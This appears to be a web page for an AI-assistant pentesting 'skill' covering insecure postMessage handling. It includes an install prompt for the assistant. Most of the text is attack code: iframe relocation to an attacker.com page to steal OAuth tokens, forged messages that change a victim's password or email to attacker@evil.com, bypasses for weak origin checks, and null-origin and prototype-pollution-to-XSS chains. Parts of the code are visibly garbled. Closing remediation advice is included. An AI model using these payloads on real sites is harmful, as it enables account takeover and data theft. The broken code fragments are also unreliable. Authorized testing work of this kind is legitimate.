Exploiting insecure cross-window messaging where senders use a wildcard targetOrigin (leaking sensitive data) or receivers register message handlers with missing/weak origin validation, enabling sensitive-message theft, DOM XSS, prototype-pollution-to-XSS, SOP bypass via null-origin iframes, and trusted-origin relay/parameter-pollution bridges. Activates when pages call postMessage or addEventListener("message", ...).
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
Exploiting insecure cross-window messaging where senders use a wildcard targetOrigin (leaking sensitive data) or receivers register message handlers with missing/weak origin validation, enabling sensitive-message theft, DOM XSS, prototype-pollution-to-XSS, SOP bypass via null-origin iframes, and trusted-origin relay/parameter-pollution bridges. Activates when pages call postMessage or addEventListener("message", ...).
During authorized tests of apps using window.postMessage(...) and addEventListener("message", ...)
When pages send sensitive data (tokens, OAuth codes, account actions) cross-window
When a page is iframeable (no X-Frame-Options / frame-ancestors) and posts with wildcard *
When a receiver does anything sensitive (password change, API call, DOM write) with message data
When SDKs/pixels/analytics gadgets relay URL params via postMessage on a trusted origin
Critical: Variants Most Often Missed
Two root causes: (1) sender uses wildcard targetOrigin='*'; (2) receiver has missing/weak event.origin checks. Enumerate handlers first, then test the matrix:
// --- ENUMERATE LISTENERS ---getEventListeners(window) // DevTools console// grep JS for: window.addEventListener("message" / $(window).on("message"// or use posta / postMessage-tracker browser extensions// --- 1. WILDCARD SENDER LEAK (steal sensitive message) ---// If victim posts with '*' and is iframeable, change a nested iframe's location to your page:window.frames[0].frame[0][2].location = "https://attacker.com/exploit.html";
// (won't work if targetOrigin is a fixed URL, only with '*')// --- 2. MISSING ORIGIN CHECK → send arbitrary data to the handler ---var w = window.open("https://victim.com");
setTimeout(() => w.postMessage('{"action":"changePassword","new":"pwned"}',), );
.()..(payload,);
.()
.()
'*'
2000
// iframe variant:
document
getElementById
'idframe'
contentWindow
postMessage
'*'
// --- 3. WEAK ORIGIN VALIDATION BYPASSES ---
"https://app-sj17.marketo.com"
indexOf
"https://app-sj17.ma"
// indexOf != 0-check → bypass
"https://www.safedomain.com"
search
"www.s.fedomain.com"
// search() treats '.' as regex wildcard
// match() with a loose regex → same class of bypass
// escapeHtml that overwrites props can be defeated with objects lacking hasOwnProperty (File.name)
// then e.origin == window.origin is null==null == true → passes "same window" checks
// Force e.source = null by creating an iframe that posts then is immediately removed.
Advanced real-world chains:
Trusted-origin relay: receiver only checks event.origin (e.g. trusts *.partner.com). Find a same-origin page that echoes URL params via postMessage, or exploit XSS in the partner iframe + a relay gadget onmessage=(e)=>{eval(e.data.cmd)}, so messages "from" the trusted origin pass the allow-list and reach sensitive sinks (innerHTML).
PRNG-predicted tokens: when a "shared secret" uses Math.random() and also names iframes, leak outputs via window.name, feed a V8 Math.random predictor (Z3), and forge the next callback token.
How to CONFIRM a hit (avoid false negatives)
Wildcard leak: your attacker page receives the victim's sensitive message (token/PII) after relocating the iframe — confirmed exfiltration.
Missing origin check: the handler performs the sensitive action (password change, DOM write, API call) when YOU post from an unrelated origin.
DOM XSS: payload reaches innerHTML/eval/document.write and your alert(document.domain) fires in the victim origin.
Prototype pollution: Object.prototype gains your property (({}).isAdmin === true), then a gadget turns it into XSS.
SOP/null-origin: a handler relying on e.origin==window.origin or e.source===window is satisfied by your null-origin/source=null trick.
Inspect handlers carefully: a present-but-broken check (indexOf, search, startsWith on a substring) is still vulnerable. event.isTrusted and a strict equality event.origin === "https://x" (where x can't run attacker JS) are the only robust checks.
Workflow
Step 1: Enumerate & analyze handlers
getEventListeners(window).message; // inspect each listener's source// Note: does it check event.origin? how (===, indexOf, search, regex)?// What sink does event.data reach (innerHTML, eval, location, API call)?
Step 2: Exploit by class
<!-- Missing origin check: drive a sensitive action --><script>var w = window.open("https://victim.com/account");
setTimeout(() => w.postMessage('{"type":"setEmail","email":"attacker@evil.com"}','*'), 2000);
</script>
<!-- Wildcard sender: steal sensitive postMessage by relocating a nested iframe --><iframesrc="https://victim.com/secret"></iframe><script>setTimeout(() =>setInterval(() => {
window.frames[0].location = "https://attacker.com/exploit.html"; // capture msg on your page
}, 100), 4000);
</script>
Framing matters: if X-Frame-Options blocks iframing, fall back to window.open() + postMessage to a popup. Some mobile webviews degrade XFO to unsupported ALLOW-FROM when frame-ancestors is present, re-enabling the window.name side channel.
Key Concepts
Concept
Description
targetOrigin '*'
Sender leaks message to any origin that controls the receiving window
Missing origin check
Receiver acts on data from any sender → forced actions / XSS
Weak validation
indexOf/search/match/loose regex bypasses; only strict === is safe
Prototype pollution
__proto__ in message payload → gadget → DOM XSS
Null-origin SOP bypass
Sandboxed iframe popups get origin null; null==null passes checks
e.source forging
Iframe that posts then self-deletes makes e.source null
Trusted-origin relay
XSS/echo on an allow-listed origin bridges into the privileged parent
Tools & Systems
Tool
Purpose
Browser DevTools
getEventListeners(window), Elements→Event Listeners to find handlers
A page posts an OAuth token with targetOrigin='*' and lacks X-Frame-Options. The attacker iframes it, relocates the receiving frame to their page, and captures the token, leading to account takeover.
A handler updates the account email/password from event.data without checking event.origin. The attacker opens the victim page and posts {"type":"setEmail","email":"attacker@evil.com"}, hijacking the account.
Scenario 3: Prototype Pollution → DOM XSS
A child iframe handler merges event.data into an object. A {"__proto__":{...onerror...}} message pollutes Object.prototype, and a follow-up "refresh" message renders the polluted value, executing attacker JS and exfiltrating an invite code/cookie.
Output Format
## postMessage Vulnerability Finding
**Vulnerability**: Insecure Cross-Window Messaging (postMessage)
**Severity**: High to Critical (CVSS 6.5–9.3; Critical for token theft / ATO)
**Location**: addEventListener("message", handler) in app.js / window.postMessage('*') sender
**OWASP Category**: A07:2021 (Auth failures) / A03:2021 (XSS) depending on impact
### Reproduction Steps
1. Enumerate handlers: getEventListeners(window).message — handler omits/weakly checks event.origin.
2. From an attacker origin, post {"type":"setEmail","email":"attacker@evil.com"} to the victim window.
3. Handler updates the account email → account takeover. (Or: relocate wildcard-sender iframe to steal token.)
### Evidence
| Vector | Observation | Impact |
|--------|-------------|--------|
| targetOrigin '*' | message captured cross-origin | token/PII leak |
| no origin check | sensitive action executed | forced action / ATO |
| indexOf/search check | bypassed with crafted origin | validation bypass |
| __proto__ payload | Object.prototype polluted → XSS | DOM XSS |
### Impact
Theft of sensitive cross-window messages (tokens, OAuth codes), forced account actions, DOM XSS via unsafe sinks/prototype pollution, and SOP bypass via null-origin iframes and trusted-origin relays.
### Recommendation
1. Always validate sender with strict equality: event.origin === "https://trusted.example" (never indexOf/search/regex).
2. Send with a specific targetOrigin URL, never '*', for sensitive data.
3. Validate message structure/type and avoid passing data to innerHTML/eval/document.write; sanitize before DOM writes.
4. Treat partner/allow-listed origins as untrusted boundaries; guard merges against __proto__ pollution.